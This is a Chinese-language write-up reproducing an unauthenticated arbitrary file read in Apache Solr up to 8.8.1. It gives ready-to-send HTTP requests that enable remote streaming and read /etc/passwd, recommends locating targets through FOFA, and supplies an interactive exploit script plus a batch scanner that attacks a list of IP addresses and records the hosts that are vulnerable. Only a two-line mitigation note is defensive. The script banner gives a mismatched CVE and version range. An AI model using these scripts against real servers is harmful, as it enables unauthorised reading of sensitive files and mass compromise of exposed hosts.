Apache Solr任意文件读取漏洞复现

Apache Solr 任意文件读取漏洞

一.漏洞描述

Apache Solr 存在任意文件读取漏洞，攻击者可以在未授权的情况下获取目标服务器敏感文件。

二.影响版本

Apache Solr <= 8.8.1

三.漏洞复现

1.搭环境

下载Solr
https://mirrors.ukfast.co.uk/sites/ftp.apache.org/lucene/solr/8.8.1/solr-8.8.1.tgz

也可以使用fofa大法，搜索 app=“Solr”

访问目标

2.获取core的信息

访问：
http://ip:8983/solr/admin/cores?indexInfo=false&wt=json
获取关键词：acdbcategories
]

3.发送请求

使用burp发送以下请求包，ip要对应：

GET /solr/acdbcategories/config HTTP/1.1
Host: ip:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type:application/json
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 82

{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

结果：

4.文件读取

也是使用burp发送请求包：

GET /solr/acdbcategories/debug/dump?param=ContentStreams HTTP/1.1
Host: ip:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 29

stream.url=file:///etc/passwd

结果如下，成功读取到/etc/passwd中的信息：

5.脚本使用

import requests
import sys
import random
import re
import base64
import time
from lxml import etree
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mVersion: Apache Solr < 8.2.0            \033[0m')
    print('+  \033[36m使用格式: python3 CVE-2019-0193.py       \033[0m')
    print('+  \033[36mUrl    >>> http://xxx.xxx.xxx.xxx:8983  \033[0m')
    print('+  \033[36mFile   >>> 文件名称或目录                  \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
    try:
        response = requests.request("GET", url=core_url, timeout=10)
        core_name = list(json.loads(response.text)["status"])[0]
        print("\033[32m[o] 成功获得core_name,Url为：" + target_url + "/solr/" + core_name + "/config\033[0m")
        return core_name
    except:
        print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
        sys.exit(0)

def POC_2(target_url, core_name):
    vuln_url = target_url + "/solr/" + core_name + "/config"
    headers = {
        "Content-type":"application/json"
    }
    data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在准备文件读取...... \033[0m".format(target_url))
        if "This" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 可能存在漏洞 \033[0m".format(target_url))
        else:
            print("\033[31m[x] 目标 {} 不存在漏洞\033[0m".format(target_url))
            sys.exit(0)

    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def POC_3(target_url, core_name, File_name):
    vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name)
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = 'stream.url=file://{}'.format(File_name)
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        if "No such file or directory" in response.text:    
            print("\033[31m[x] 读取{}失败 \033[0m".format(File_name))
        else:
            print("\033[36m[o] 响应为:\n{} \033[0m".format(json.loads(response.text)["streams"][0]["stream"]))


    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    core_name = POC_1(target_url)
    POC_2(target_url, core_name)
    while True:
        File_name = str(input("\033[35mFile >>> \033[0m"))
        POC_3(target_url, core_name, File_name)

运行结果：

6.批量测试目标是否存在

与其相同目录下新建一个1.txt文件，在1.txt中存放需要测试的url,并运行脚本，会生成url.txt的文件，文件中就是存在漏洞的url。

import requests
import sys
import random
import re
import base64
import time
from lxml import etree
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
a=[]
def title():
    print('+------------------------------------------')
    print('+  \033[34mVersion: Apache Solr < 8.2.0            \033[0m')
    print('+  \033[36m使用格式: python3 poc.py               \033[0m')
    print('+  \033[36mUrl    >>> http://xxx.xxx.xxx.xxx:8983  \033[0m')
    print('+  \033[36mFile   >>> 文件名称或目录                  \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
    try:
        response = requests.request("GET", url=core_url, timeout=2)
        core_name = list(json.loads(response.text)["status"])[0]
        print("\033[32m[o] 成功获得core_name,Url为：" + target_url + "/solr/" + core_name + "/config\033[0m")
        return core_name
    except:
        print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
        return 1

def POC_2(target_url, core_name):
    vuln_url = target_url + "/solr/" + core_name + "/config"
    headers = {
        "Content-type":"application/json"
    }
    data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在准备文件读取...... \033[0m".format(target_url))
        if "This" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 可能存在漏洞 \033[0m".format(target_url))
        else:
            print("\033[31m[x] 目标 {} 不存在漏洞\033[0m".format(target_url))
            return 1

    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def POC_3(target_url, core_name, File_name):
    vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name)
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = 'stream.url=file://{}'.format(File_name)
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        if "No such file or directory" in response.text:    
            print("\033[31m[x] 读取{}失败 \033[0m".format(File_name))
            print(response.text)
        else:
            if 'root' in response.text:
                print(target_url)
                with open('./url.txt','a') as f:
                    f.write(target_url+'\n')
                print("\033[36m[o] 响应为:\n{} \033[0m".format(json.loads(response.text)["streams"][0]["stream"]))


    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
    title()
    with open('1.txt', 'r', encoding='utf-8') as f:
        g=f.read()
    a=re.findall('\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}[:]\d+',g)
    print(a)
    for i in a:
        if 'http' in i:
            target_url = str(i)
        else:
            target_url = 'http://'+str(i)
        print(target_url)
        core_name = POC_1(target_url)
        print(core_name)
        if str(core_name)=='1':
            print(22)
            continue
        b=POC_2(target_url, core_name)
        if str(b)=='1':
            continue
        File_name = str('/etc/passwd')
        POC_3(target_url, core_name, File_name)

四、修复建议

将 Solr 端口仅对内网开放，并配置访问策略
无修复版本（好像是官方拒绝修复）

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